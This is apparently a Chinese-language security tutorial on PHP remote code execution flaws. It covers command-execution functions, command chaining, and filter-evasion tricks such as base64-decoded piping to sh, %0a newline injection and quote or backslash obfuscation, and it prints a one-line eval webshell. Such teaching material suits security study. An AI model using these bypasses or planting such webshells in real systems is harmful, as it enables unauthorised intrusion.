RCE漏洞

一、什么是RCE漏洞?

在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

二、常见的RCE漏洞函数

1、系统命令执行函数

  • system():能将字符串作为OS命令执行,且返回命令执行结果;

    1
    <?php system('whoami');?>
  • exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行;

    1
    <?php echo exec('whoami');?>
  • shell_exec():能将字符串作为OS命令执行

  • pcntl_exec();

  • popen();

  • proc_popen();

  • passthru():把字符串当做系统命令运行

    1
    <?php passthru('whoami');?>

2.Windows下的命令执行漏洞调用

命令连接符

1
2
3
4
5
1	常用命令
2 cmd1 & cmd2 //命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
3 cmd1 && cmd2 //前面的语句为假,直接报错,不执行后面的指令;前面为真,都执行
4 cmd1 | cmd2 //前面的命令正确,直接执行后面的指令;前面的语句为假,直接报错,不执行后面的指令
5 cmd1 || cmd2 //前面报错,执行后面的;前面为真,只执行前面的

3.Linux下的命令执行漏洞利用

命令连接符

1
2
3
4
5
1	cmd1 ; cmd2	 //使多个命令顺序执行,前面命令和后面命令的都会执行。
2 cmd1 & cmd2 //命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
3 cmd1 && cmd2 //前面的语句为假,直接报错,不执行后面的指令;前面为真,都执行
4 cmd1 | cmd2 //前面的命令正确,直接执行后面的指令;前面的语句为假,直接报错,不执行后面的指令
5 cmd1 || cmd2 //前面报错,执行后面的;前面为真,只执行前面的

3.2编码绕过

(1).base64编码

1
echo "abcd" | base64

image-20250313165130008

(2).base64解码

1
echo "Y2F0Cg=" | base64 -d

image-20250313165252028

(3).使用base64编码解码后的指令执行命令:

1
echo "cat hello.txt" | base64 

image-20250313165404094

1
echo "Y2F0IGhlbGxvLnR4dAo=" | base64 -d | sh

image-20250313165447162

3.3拼接法

想要读取hello.txt的内容,我们使用拼接法

1
a=hell;b=o;cat $a$b.txt

image-20250313165726315

3.4%0a绕过

%0a代表换行,通过%0a注入一条新的命令

有些函数只会识别和处理第一行的相关字符,使用%0a将数据换行,可以绕过一些函数执行命令。%0a表示换行,通过%0a能够注入—条新的命令进行执行。

3.5花括号{}

linux中,可以使用执行系统命令,同时可以使用逗号代替空格。

针对数据包,{ip,addr} , {cat,hello.txt},{ls,},如果是单命令也需要加上一个逗号。

image-20250313165925112

3.6引号执行(绕过)

1
2
cat fl"a"g.txt
cat he"ll"o.txt

image-20250313170217557

3.7通配符执行

?代表一个未知字符

*代表n个位置字符

1
2
cat he* 打开了hello.txt
cat hello.??? 同样也可以打开hello.txt

image-20250313170429433

3.8反斜杠执行

1
c\at hello.txt

image-20250313170550270

三、RCE执行代码漏洞

常见函数:

1
2
# 函数汇总
PHP中代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、 call_user_func_array()、array_filter()、uasort()
eval()函数

eval函数把字符串作为PHP代码执行。一般用于写入一句话木马。

1
2
3
4
5
6
<?php @eval($_POST['pwd']);?>

HackBar:
http://127.0.0.1/rce/test.php
pwd = echo "Hello World!";
pwd = phpinfo();
assert函数

assert函数检查一个断言是否为FALSE。

assert函数会检查指定的assertion并在结果为FALSE时采取适当的行动。如果assertion是字符串,它会被assert函数当作PHP代码来执行。如:

1
2
3
4
<?php @assert($_POST[1])?>

HackBar:
1 = phpinfo();
preg_replace函数

preg_replace函数执行一个正则表达式的搜索和替换。

preg_replace函数搜索subject中匹配pattern的部分,以replacement进行替换。

preg_replace函数示例代码如下:

1
2
3
4
5
6
7
8
9
<?php
$subject='hello hack';
$pattern='/hack/';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>

GET:
?name = xxx